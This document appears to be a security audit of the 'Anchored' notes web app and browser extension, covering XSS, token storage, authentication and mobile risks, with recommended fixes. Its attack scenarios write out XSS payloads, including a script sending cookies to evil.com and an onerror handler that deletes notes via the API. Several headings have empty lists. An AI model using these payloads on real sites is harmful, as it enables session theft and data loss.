This security audit identifies critical vulnerabilities and provides recommendations for improving the security posture of both the Anchored web application and browser extension. The audit focuses on XSS prevention, token security, mobile security, and authentication architecture.
Location: js/dashboard.js
, multiple innerHTML usages
Risk Level: HIGH
Issue: Direct innerHTML assignments with user-controlled content without proper sanitization
Vulnerable Code Examples:
// Line 822 - Note card creation with user content
card.innerHTML = `
<div class="note-card-content">
<div class="note-card-title">${this.escapeHtml(note.title)}</div>
<div class="note-card-preview">${this.escapeHtml(note.preview)}</div>
Current Protection: Basic escapeHtml()
function exists but inconsistent usage
Vulnerability: Rich content areas use buildContentHtml()
which may allow HTML injection
Location: extension/popup/modules/editor.js
, extension/popup/modules/notes.js
Risk Level: HIGH
Issue: innerHTML usage with note content that could contain malicious scripts
Vulnerable Code Examples:
// editor.js line 65 - Direct HTML injection
contentInput.innerHTML = this.buildContentHtml(this.currentNote.content || '');
// notes.js line 284 - Note rendering with potential XSS
el.innerHTML = `<div class="note-content">...${note content}...</div>`;
Location: Web app localStorage, Extension chrome.storage.local Risk Level: MEDIUM Issue: Refresh tokens stored in accessible browser storage without additional protection
Current Storage:
localStorage.getItem('supabase_session')
chrome.storage.local
(more secure but still accessible to extension)Vulnerabilities:
Location: Multiple auth flows in both platforms
Risk Level: MEDIUM
Issue: Unnecessary complexity maintaining both Google OAuth and Supabase refresh tokens
Current Flow:
Problems:
Current: Web app uses localStorage on mobile browsers Risk Level: MEDIUM Issue: Mobile browsers have different security models and storage persistence
iOS/Android Considerations:
Attack Scenario: Malicious user creates note with JavaScript payload
<img src="x" onerror="alert('XSS')">
<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>
Impact:
Attack Scenario: Paste malicious HTML into contenteditable areas
<div contenteditable="true">
<!-- User pastes: -->
<img src="x" onerror="fetch('/api/notes', {method:'DELETE'})">
</div>
Impact:
1. User authenticates → Supabase issues tokens
2. Access token (1 hour) + Refresh token (30 days)
3. Tokens stored in browser storage
4. Auto-refresh when access token expires
Vulnerabilities:
<meta http-equiv="Content-Security-Policy" content="
default-src 'self';
script-src 'self' 'unsafe-inline' https://accounts.google.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
connect-src 'self' https://kqjcorjjvunmyrnzvqgr.supabase.co;
frame-src https://accounts.google.com;
">
Replace custom escapeHtml()
with DOMPurify:
// Install: npm install dompurify
import DOMPurify from 'dompurify';
// Sanitize all user content
const cleanContent = DOMPurify.sanitize(userContent, {
ALLOWED_TAGS: ['b', 'i', 'u', 'strong', 'em', 'br', 'p'],
ALLOWED_ATTR: []
});
Replace innerHTML with safer alternatives:
// Instead of: element.innerHTML = userContent
// Use:
element.textContent = userContent; // For plain text
// Or:
const sanitized = DOMPurify.sanitize(userContent);
element.innerHTML = sanitized; // For rich content
Web Application:
// Use secure, httpOnly cookies where possible
// For client-side storage, add encryption layer
class SecureStorage {
async setToken(token) {
const encrypted = await this.encrypt(token);
localStorage.setItem('secure_token', encrypted);
}
async getToken() {
const encrypted = localStorage.getItem('secure_token');
return encrypted ? await this.decrypt(encrypted) : null;
}
}
Extension:
// Use chrome.storage.local with additional encryption
await chrome.storage.local.set({
encrypted_session: await encryptSession(sessionData)
});
// Implement shorter refresh token lifetime
const SESSION_CONFIG = {
accessTokenLifetime: 15 * 60 * 1000, // 15 minutes
refreshTokenLifetime: 7 * 24 * 60 * 60 * 1000, // 7 days
rotateRefreshToken: true // Issue new refresh token on each use
};
1. User authenticates via Google OAuth
2. Supabase receives Google tokens
3. Application uses ONLY Supabase tokens
4. Discard Google tokens after initial auth
5. Use Supabase refresh mechanism exclusively
Benefits:
// Service worker for secure token management
self.addEventListener('message', async (event) => {
if (event.data.type === 'STORE_TOKEN') {
// Store in IndexedDB with encryption
await secureStore.setItem('auth_token', event.data.token);
}
});
// Generate device fingerprint for token binding
const deviceFingerprint = await generateFingerprint();
const boundToken = {
token: refreshToken,
deviceId: deviceFingerprint,
timestamp: Date.now()
};
The Anchored application has several critical security vulnerabilities that require immediate attention, particularly around XSS prevention and token security. The recommended phased approach will significantly improve the security posture while maintaining functionality and user experience.
Priority should be given to XSS prevention as it poses the highest immediate risk to user data and account security.